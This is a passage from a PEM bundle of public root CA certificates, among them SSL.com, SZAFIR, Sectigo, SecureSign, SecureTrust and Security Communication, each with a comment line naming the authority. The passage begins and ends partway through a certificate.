      DA9TU0wgQ29ycG9yYXRpb24xMTAvBgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZp
      Y2F0aW9uIEF1dGhvcml0eSBSU0EwHhcNMTYwMjEyMTczOTM5WhcNNDEwMjEyMTcz
      OTM5WjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAOBgNVBAcMB0hv
      dXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
      bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IFJTQTCCAiIwDQYJKoZIhvcN
      AQEBBQADggIPADCCAgoCggIBAPkP3aMrfcvQKv7sZ4Wm5y4bunfh4/WvpOz6Sl2R
      xFdHaxh3a3by/ZPkPQ/CFp4LZsNWlJ4Xg4XOVu/yFv0AYvUiCVToZRdOQbngT0aX
      qhvIuG5iXmmxX9sqAn78bMrzQdjt0Oj8P2FI7bADFB0QDksZ4LtO7IZl/zbzXmcC
      C52GVWH9ejjt/uIZALdvoVBidXQ8oPrIJZK0bnoix/geoeOy3ZExqysdBP+lSgQ3
      6YWkMyv94tZVNHwZpEpox7Ko07fKoZOI68GXvIz5HdkihCR0xwQ9aqkpk8zruFvh
      /l8lqjRYyMEjVJ0bmBHDOJx+PYZspQ9AhnwC9FwCTyjLrnGfDzrIM/4RJTXq/LrF
      YD3ZfBjVsqnTdXgDciLKOsMf7yzlLqn6niy2UUb9rwPW6mBo6oUWNmuF6R7As93E
      JNyAKoFBbZQ+yODJgUEAnl6/f8UImKIYLEJAs/lvOCdLToD0PYFH4Ih86hzOtXVc
      US4cK38acijnALXRdMbX5J+tB5O2UzU1/Dfkw/ZdFr4hc96SCvigY2q8lpJqPvi8
      ZVWb3vUNiSYE/CUapiVpy8JtynziWV+XrOvvLsi81xtZPCvM8hnIk2snYxnP/Okm
      +Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4sbE6x/c+cCbqi
      M+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV
      HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4G
      A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGV
      cpNxJK1ok1iOMq8bs3AD/CUrdIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBc
      Hadm47GUBwwyOabqG7B52B2ccETjit3E+ZUfijhDPwGFpUenPUayvOUiaPd7nNgs
      PgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAslu1OJD7OAUN5F7kR/
      q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjqerQ0
      cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jr
      a6x+3uxjMxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90I
      H37hVZkLId6Tngr75qNJvTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/Y
      K9f1JmzJBjSWFupwWRoyeXkLtoh/D1JIPb9s2KJELtFOt3JY04kTlf5Eq/jXixtu
      nLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406ywKBjYZC6VWg3dGq2ktuf
      oYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NIWuuA8ShY
      Ic2wBlX7Jz9TkHCpBB5XJ7k=
      -----END CERTIFICATE-----

      # SSL.com TLS ECC Root CA 2022
      -----BEGIN CERTIFICATE-----
      MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQsw
      CQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxT
      U0wuY29tIFRMUyBFQ0MgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2
      MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3Jh
      dGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3QgQ0EgMjAyMjB2MBAG
      ByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWyJGYm
      acCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFN
      SeR7T5v15wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSME
      GDAWgBSJjy+j6CugFFR781a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NW
      uCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp
      15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w7deedWo1dlJF4AIxAMeN
      b0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5Zn6g6g==
      -----END CERTIFICATE-----

      # SSL.com TLS RSA Root CA 2022
      -----BEGIN CERTIFICATE-----
      MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBO
      MQswCQYDVQQGEwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQD
      DBxTU0wuY29tIFRMUyBSU0EgUm9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloX
      DTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMCVVMxGDAWBgNVBAoMD1NTTCBDb3Jw
      b3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJvb3QgQ0EgMjAyMjCC
      AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u9nTP
      L3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OY
      t6/wNr/y7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0ins
      S657Lb85/bRi3pZ7QcacoOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3
      PnxEX4MN8/HdIGkWCVDi1FW24IBydm5MR7d1VVm0U3TZlMZBrViKMWYPHqIbKUBO
      L9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDGD6C1vBdOSHtRwvzpXGk3
      R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEWTO6Af77w
      dr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS
      +YCk8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYS
      d66UNHsef8JmAOSqg+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoG
      AtUjHBPW6dvbxrB6y3snm/vg1UYk7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2f
      gTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0j
      BBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsuN+7jhHonLs0Z
      NbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
      hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsM
      QtfhWsSWTVTNj8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvf
      R4iyrT7gJ4eLSYwfqUdYe5byiB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJ
      DPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjUo3KUQyxi4U5cMj29TH0ZR6LDSeeW
      P4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqoENjwuSfr98t67wVy
      lrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7EgkaibMOlq
      bLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2w
      AgDHbICivRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3q
      r5nsLFR+jM4uElZI7xc7P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sji
      Mho6/4UIyYOf8kpIEFR3N+2ivEC+5BB09+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU
      98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
      -----END CERTIFICATE-----

      # SZAFIR ROOT CA2
      -----BEGIN CERTIFICATE-----
      MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQEL
      BQAwUTELMAkGA1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6
      ZW5pb3dhIFMuQS4xGDAWBgNVBAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkw
      NzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJBgNVBAYTAlBMMSgwJgYDVQQKDB9L
      cmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYDVQQDDA9TWkFGSVIg
      Uk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5QqEvN
      QLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT
      3PSQ1hNKDJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw
      3gAeqDRHu5rr/gsUvTaE2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr6
      3fE9biCloBK0TXC5ztdyO4mTp4CEHCdJckm1/zuVnsHMyAHs6A6KCpbns6aH5db5
      BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwiieDhZNRnvDF5YTy7ykHN
      XGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
      AgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsF
      AAOCAQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw
      8PRBEew/R40/cof5O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOG
      nXkZ7/e7DDWQw4rtTw/1zBLZpD67oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCP
      oky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul4+vJhaAlIDf7js4MNIThPIGy
      d05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6+/NNIxuZMzSg
      LvWpCz/UXeHPhJ/iGcJfitYgHuNztw==
      -----END CERTIFICATE-----

      # Sectigo Public Server Authentication Root E46
      -----BEGIN CERTIFICATE-----
      MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQsw
      CQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T
      ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcN
      MjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYG
      A1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT
      ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUrgQQA
      IgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccC
      WvkEN/U0NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+
      6xnOQ6OjQjBAMB0GA1UdDgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8B
      Af8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNnADBkAjAn7qRa
      qCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RHlAFWovgzJQxC36oCMB3q
      4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21USAGKcw==
      -----END CERTIFICATE-----

      # Sectigo Public Server Authentication Root R46
      -----BEGIN CERTIFICATE-----
      MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBf
      MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQD
      Ey1TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYw
      HhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5WjBfMQswCQYDVQQGEwJHQjEY
      MBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1Ymxp
      YyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3DQEB
      AQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDa
      ef0rty2k1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnz
      SDBh+oF8HqcIStw+KxwfGExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xf
      iOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMPFF1bFOdLvt30yNoDN9HWOaEhUTCDsG3X
      ME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vuZDCQOc2TZYEhMbUjUDM3
      IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5QazYw6A3OAS
      VYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgE
      SJ/AwSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu
      +Zd4KKTIRJLpfSYFplhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt
      8uaZFURww3y8nDnAtOFr94MlI1fZEoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+L
      HaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW6aWWrL3DkJiy4Pmi1KZHQ3xt
      zwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWIIUkwDgYDVR0P
      AQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c
      mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQ
      YKlJfp/imTYpE0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52
      gDY9hAaLMyZlbcp+nv4fjFg4exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZA
      Fv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M0ejf5lG5Nkc/kLnHvALcWxxPDkjB
      JYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI84HxZmduTILA7rpX
      DhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9mpFui
      TdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5
      dHn5HrwdVw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65
      LvKRRFHQV80MNNVIIb/bE/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp
      0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmmJ1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAY
      QqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL
      -----END CERTIFICATE-----

      # SecureSign RootCA11
      -----BEGIN CERTIFICATE-----
      MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDEr
      MCkGA1UEChMiSmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoG
      A1UEAxMTU2VjdXJlU2lnbiBSb290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0
      MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSswKQYDVQQKEyJKYXBhbiBDZXJ0aWZp
      Y2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1cmVTaWduIFJvb3RD
      QTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvLTJsz
      i1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8
      h9uuywGOwvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOV
      MdrAG/LuYpmGYz+/3ZMqg6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9
      UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rPO7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni
      8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitAbpSACW22s293bzUIUPsC
      h8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZXt94wDgYD
      VR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEB
      AKChOBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xm
      KbabfSVSSUOrTC4rbnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQ
      X5Ucv+2rIrVls4W6ng+4reV6G4pQOh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWr
      QbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01y8hSyn+B/tlr0/cR7SXf+Of5
      pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061lgeLKBObjBmN
      QSdJQO7e5iNEOdyhIta6A/I=
      -----END CERTIFICATE-----

      # SecureTrust CA
      -----BEGIN CERTIFICATE-----
      MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBI
      MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24x
      FzAVBgNVBAMTDlNlY3VyZVRydXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIz
      MTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAeBgNVBAoTF1NlY3VyZVRydXN0IENv
      cnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCCASIwDQYJKoZIhvcN
      AQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQXOZEz
      Zum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO
      0gMdA+9tDWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIao
      wW8xQmxSPmjL8xk037uHGFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj
      7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b01k/unK8RCSc43Oz969XL0Imnal0ugBS
      8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmHursCAwEAAaOBnTCBmjAT
      BgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
      /zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCeg
      JYYjaHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGC
      NxUBBAMCAQAwDQYJKoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt3
      6Z3q059c4EVlew3KW+JwULKUBRSuSceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/
      3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHfmbx8IVQr5Fiiu1cprp6poxkm
      D5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZnMUFdAvnZyPS
      CPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR
      3ItHuuG51WLQoqD0ZwV4KWMabwTW+MZMo5qxN7SN5ShLHZ4swrhovO0C7jE=
      -----END CERTIFICATE-----

      # Secure Global CA
      -----BEGIN CERTIFICATE-----
      MIIDvDCCAqSgAwIBAgIQB1YipOjUiolN9BPI8PjqpTANBgkqhkiG9w0BAQUFADBK
      MQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24x
      GTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwgQ0EwHhcNMDYxMTA3MTk0MjI4WhcNMjkx
      MjMxMTk1MjA2WjBKMQswCQYDVQQGEwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3Qg
      Q29ycG9yYXRpb24xGTAXBgNVBAMTEFNlY3VyZSBHbG9iYWwgQ0EwggEiMA0GCSqG
      SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvNS7YrGxVaQZx5RNoJLNP2MwhR/jxYDiJ
      iQPpvepeRlMJ3Fz1Wuj3RSoC6zFh1ykzTM7HfAo3fg+6MpjhHZevj8fcyTiW89sa
      /FHtaMbQbqR8JNGuQsiWUGMu4P51/pinX0kuleM5M2SOHqRfkNJnPLLZ/kG5VacJ
      jnIFHovdRIWCQtBJwB1g8NEXLJXr9qXBkqPFwqcIYA1gBBCWeZ4WNOaptvolRTnI
      HmX5k/Wq8VLcmZg9pYYaDDUz+kulBAYVHDGA76oYa8J719rO+TMg1fW9ajMtgQT7
      sFzUnKPiXB3jqUJ1XnvUd+85VLrJChgbEplJL4hL/VBi0XPnj3pDAgMBAAGjgZ0w
      gZowEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgGGMA8GA1UdEwEB/wQF
      MAMBAf8wHQYDVR0OBBYEFK9EBMJBfkiD2045AuzshHrmzsmkMDQGA1UdHwQtMCsw
      KaAnoCWGI2h0dHA6Ly9jcmwuc2VjdXJldHJ1c3QuY29tL1NHQ0EuY3JsMBAGCSsG
      AQQBgjcVAQQDAgEAMA0GCSqGSIb3DQEBBQUAA4IBAQBjGghAfaReUw132HquHw0L
      URYD7xh8yOOvaliTFGCRsoTciE6+OYo68+aCiV0BN7OrJKQVDpI1WkpEXk5X+nXO
      H0jOZvQ8QCaSmGwb7iRGDBezUqXbpZGRzzfTb+cnCDpOGR86p1hcF895P4vkp9Mm
      I50mD1hp/Ed+stCNi5O/KU9DaXR2Z0vPB4zmAve14bRDtUstFJ/53CYNv6ZHdAbY
      iNE6KTCEztI5gGIbqMdXSbxqVVFnFUq+NQfk1XWYN3kwFNspnWzFacxHVaIw98xc
      f8LDmBxrThaA63p4ZUWiABqvDA1VZDRIuJK58bRQKfJPIx/abKwfROHdI3hRW8cW
      -----END CERTIFICATE-----

      # Security Communication ECC RootCA1
      -----BEGIN CERTIFICATE-----
      MIICODCCAb6gAwIBAgIJANZdm7N4gS7rMAoGCCqGSM49BAMDMGExCzAJBgNVBAYT
      AkpQMSUwIwYDVQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYD
      VQQDEyJTZWN1cml0eSBDb21tdW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYx
      NjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTELMAkGA1UEBhMCSlAxJTAjBgNVBAoT
      HFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNVBAMTIlNlY3VyaXR5
      IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
      AASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+Cnnfdl
      dB9sELLo5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpK
      ULGjQjBAMB0GA1UdDgQWBBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8E
      BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu
      9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3LsnNdo4gIxwwCMQDAqy0O
      be0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70eN9k=
      -----END CERTIFICATE-----

      # Security Communication RootCA2
      -----BEGIN CERTIFICATE-----
      MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDEl
      MCMGA1UEChMcU0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMe
      U2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoX
      DTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRy
      dXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3VyaXR5IENvbW11bmlj
      YXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANAV
      OVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGr
      zbl+dp+++T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVM
      VAX3NuRFg3sUZdbcDE3R3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQ
      hNBqyjoGADdH5H5XTz+L62e4iKrFvlNVspHEfbmwhRkGeC7bYRr6hfVKkaHnFtWO
      ojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1KEOtOghY6rCcMU/Gt1SSw
      awNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8QIH4D5cs
      OPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3
      DQEBCwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpF
      coJxDjrSzG+ntKEju/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXc
      okgfGT+Ok+vx+hfuzU7jBBJV1uXk3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8
      t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6qtnRGEmyR7jTV7JqR50S+kDFy
      1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29mvVXIwAHIRc/
      SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03
      -----END CERTIFICATE-----

      # Security Communication RootCA3
      -----BEGIN CERTIFICATE-----
      MIIFfzCCA2egAwIBAgIJAOF8N0D9G/5nMA0GCSqGSIb3DQEBDAUAMF0xCzAJBgNV
      BAYTAkpQMSUwIwYDVQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMScw
      JQYDVQQDEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTMwHhcNMTYwNjE2
      MDYxNzE2WhcNMzgwMTE4MDYxNzE2WjBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc
      U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UEAxMeU2VjdXJpdHkg
      Q29tbXVuaWNhdGlvbiBSb290Q0EzMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC
      CgKCAgEA48lySfcw3gl8qUCBWNO0Ot26YQ+TUG5pPDXC7ltzkBtnTCHsXzW7OT4r
      CmDvu20rhvtxosis5FaU+cmvsXLUIKx00rgVrVH+hXShuRD+BYD5UpOzQD11EKzA
